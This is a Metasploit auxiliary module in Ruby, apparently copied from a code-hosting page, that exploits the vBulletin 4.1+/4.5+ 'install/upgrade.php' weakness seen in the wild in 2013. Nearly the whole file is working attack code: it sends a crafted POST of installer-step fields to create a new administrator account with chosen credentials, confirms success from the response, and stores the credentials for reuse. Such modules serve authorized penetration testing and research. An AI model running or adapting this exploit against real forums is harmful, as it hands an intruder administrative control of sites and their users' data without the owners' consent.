127 lines
3.7 KiB
Ruby
127 lines
3.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'vBulletin Administrator Account Creation',
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'Description' => %q{
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This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to
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create a new administrator account, as exploited in the wild on October 2013. This module
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has been tested successfully on vBulletin 4.1.5 and 4.1.0.
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},
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'Author' =>
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[
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'Unknown', # Vulnerability discoverer? found in the wild
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'juan vazquez' #metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'],
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[ 'OSVDB', '98370' ],
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[ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5']
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],
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'DisclosureDate' => 'Oct 09 2013'))
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register_options(
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[
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OptString.new('TARGETURI', [ true, "The vbulletin URI", '/']),
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OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
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OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
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OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
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], self.class)
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end
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def user
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datastore["USERNAME"]
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end
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def pass
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datastore["PASSWORD"]
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: opts[:service_name],
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::UNTRIED,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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def run
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if user == pass
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print_error("Please select a password different than the username")
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return
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end
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print_status("Trying a new admin vBulletin account...")
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, "install", "upgrade.php"),
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'method' =>'POST',
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'vars_post' => {
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"version" => "install",
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"response" => "true",
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"checktable" => "false",
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"firstrun" => "false",
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"step" => "7",
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"startat" => "0",
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"only" => "false",
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"options[skiptemplatemerge]" => "0",
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"reponse" => "yes",
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"htmlsubmit" => "1",
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"htmldata[username]" => user,
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"htmldata[password]" => pass,
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"htmldata[confirmpassword]" => pass,
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"htmldata[email]" => datastore["EMAIL"]
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},
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'headers' => {
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"X-Requested-With" => "XMLHttpRequest"
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}
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})
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if res and res.code == 200 and res.body =~ /Administrator account created/
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print_good("Admin account with credentials #{user}:#{pass} successfully created")
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report_cred(
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ip: rhost,
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port: rport,
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service_name: 'http',
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user: user,
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password: pass,
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proof: res.body
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)
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else
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print_error("Admin account creation failed")
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end
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end
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end
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